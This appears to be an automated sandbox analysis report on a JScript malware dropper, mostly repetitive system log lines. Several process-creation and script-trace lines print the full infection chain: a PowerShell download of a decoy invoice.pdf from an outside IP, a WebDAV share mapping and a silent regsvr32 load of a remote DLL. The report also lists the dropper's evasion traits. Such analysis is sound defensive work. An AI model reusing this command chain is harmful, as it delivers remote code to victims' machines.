Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7203.js.csv");ITextStream.WriteLine(" entry:8680 f:cfrgzgglf");ITextStream.WriteLine(" exec:2 f:cfrgzgglf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4741			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5044			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6340	Thread sleep count: 4741 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6340	Thread sleep count: 5044 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4692	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5256	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4236	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7068	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7364	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7572	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 0000000C.00000002.1319219257.000001AB90BF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP1
Source: net.exe, 0000000C.00000002.1319219257.000001AB90C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2541333830.00000261C2A54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000E.00000002.2539932950.00000261BD22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
